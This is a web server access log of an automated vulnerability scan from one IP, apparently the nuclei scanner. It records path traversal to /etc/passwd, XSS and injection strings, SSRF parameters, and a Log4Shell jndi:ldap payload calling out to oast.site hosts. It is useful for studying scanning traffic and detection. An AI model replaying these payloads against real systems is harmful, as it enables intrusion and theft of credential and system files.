[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /favicon.ico HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /search/token.json HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /meet/login.html HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ztp/cgi-bin/handler HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/constant-contact-api-old/vendor/constantcontact/constantcontact/test/Json/Auth/token_info.json HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /v1/submissions HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /umbraco/BackOffice/Api/Help/GetContextHelpForPage?section=content&tree=undefined&baseUrl=http://d5g6sfahausljekepl20ge5as1ut9pdak.oast.site HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.sh HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /general/document/index.php/recv/register/insert HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wifi_base.shtml HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /server.key HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/backups-dup-lite/tmp/ HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //graphql/graphql-playground HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Export_Log?/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/10 HTTP/1.1" 196
[09/Jan/2026:10:52:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jmx-console/ HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /static/ HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nacos/v1/auth/users?pageNo=1&pageSize=9 HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /responsiveUI/webmail/folder.xhtml HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpversion.php HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backend/admin/users?username=anonymous HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Partners/routes/configs/routes.ini HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Default.aspx HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /matomo/.travis.yml HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /RichWidgets/Popup_Upload.aspx HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/data?chart=system.cpu&format=json&points=125&group=average&gtime=0&options=ms%7Cflip%7Cjsonwrap%7Cnonzero&after=-120&dimensions=iowait HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/namespaces/default/workflows?query HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.viminfo HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //swagger/ui/swagger-ui.js HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /setup/setup.do HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /virtualems/Login.aspx HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/backups-dup-lite HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ocp.php HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?p HTTP/1.1" 3426
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //am/UI/Login HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config.json HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_src HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /hybridity/api/sessions HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /my.key HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /audit/gui_detail_view.php?token=1&id=%5C&uid=%2Cchr(97))%20or%201:%20print%20chr(121)%2bchr(101)%2bchr(115)%0d%0a%23&login=admin HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /install/information/database HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mail/logs/errors.log HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http:/intranet/ HTTP/1.1" 226
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login/?redirectTo=/tenant/e&service=</script><script>alert(document.domain)</script> HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /etc.children.json/FNZ.css HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /mac/gateway.php HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //textpattern/config.php.~ HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /sdk/ HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Vagrantfile HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db_backup.sql HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /account/register HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /console HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?api=%27%3E%22%3Csvg%2Fonload=confirm%28%27api%27%29%3E&api_key=%27%3E%22%3Csvg%2Fonload=confirm%28%27api_key%27%29%3E&begindate=%27%3E%22%3Csvg%2Fonload=confirm%28%27begindate%27%29%3E&callback=%27%3E%22%3Csvg%2Fonload=confirm%28%27callback%27%29%3E&categoryid=%27%3E%22%3Csvg%2Fonload=confirm%28%27categoryid%27%29%3E&csrf_token=%27%3E%22%3Csvg%2Fonload=confirm%28%27csrf_token%27%29%3E&email=%27%3E%22%3Csvg%2Fonload=confirm%28%27email%27%29%3E&emailto=%27%3E%22%3Csvg%2Fonload=confirm%28%27emailto%27%29%3E&enddate=%27%3E%22%3Csvg%2Fonload=confirm%28%27enddate%27%29%3E&immagine=%27%3E%22%3Csvg%2Fonload=confirm%28%27immagine%27%29%3E&item=%27%3E%22%3Csvg%2Fonload=confirm%28%27item%27%29%3E&jsonp=%27%3E%22%3Csvg%2Fonload=confirm%28%27jsonp%27%29%3E&l=%27%3E%22%3Csvg%2Fonload=confirm%28%27l%27%29%3E&lang=%27%3E%22%3Csvg%2Fonload=confirm%28%27lang%27%29%3E&list_type=%27%3E%22%3Csvg%2Fonload=confirm%28%27list_type%27%29%3E HTTP/1.1" 3426
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /examples/websocket/index.xhtml HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config_application.txt HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //build.sh HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jmx-console/ HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /inizio.php HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /search.php HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /favicon.png HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login?redirectTo=/ HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sensorlist.htm HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /umbraco/backoffice/UmbracoApi/Dashboard/GetRemoteDashboardContent?section=TryToAvoidGetCacheItem111&baseUrl=http://d5g6sfahausljekepl20fwyyinxpro461.oast.site/ HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/plugins/org.graylog.plugins.security/team-sync/test/backend HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /super/login.html?lang=en HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /vite.config.js HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /VisionHubWebApi/api/Login HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sphinxsearch/sphinx.conf HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ui/clusters/kafka-ui/brokers HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /docs/introduction.html HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /data/plugins_listing HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PURGE / HTTP/1.1" 204
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /admin HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /SSI/Auth/ip_snmp.htm HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /portal//..%5C%5C%5C..%5C%5C%5C..%5C%5C%5C..%5C%5C%5Cwindows%5Cwin.ini HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/saprod/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config/settings.old.php HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /favicon.ico HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /desktopmodules/dnnwerk.radeditorprovider/dialoghandler.aspx?dp=1 HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /meet/ HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /&?=? HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /versa/login.html HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /versa/login HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /search HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //setup/index.php HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /weblogin.htm HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/login.html?lang=en HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /data/database.db HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/apcupsd/multimon.cgi HTTP/1.1" 199
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //graphql/schema.json HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /v1/sys/health HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpma/ HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /versa/login.html HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //r00t.php HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ueditor/jsp/controller.jsp?action=catchimage&source[]=http://127.0.0.1:990499/?1.png HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/login HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /v1/auth/users?pageNo=1&pageSize=9 HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /TERR/ HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /hybridity/ui/hcx-client/index.html HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /server HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /uwsgi.ini HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /..;/host-manager/html HTTP/1.1" 226
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /portal/info.jsp HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.action HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PUT /api/2.0/services/usermgmt/password/heyona HTTP/1.1" 220
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /authenticate HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /380CxqGysFRsJw3mibSdIwyfhv8.php HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /portal/info.jsp HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manage/wizard/ HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ui/login.action HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /configure/app/landing/welcome-srm-va.html HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dr/authentication/oauth2/oauth2login?error=$%7Bjndi%3Aldap%3A%2F%2F$%7B%3A-490%7D$%7B%3A-315%7D.$%7BhostName%7D.uri.d5g6sfahausljekepl20edwk9ar9d78bj.oast.site%7D HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /eam/vib?id=/etc/passwd HTTP/1.1" 196
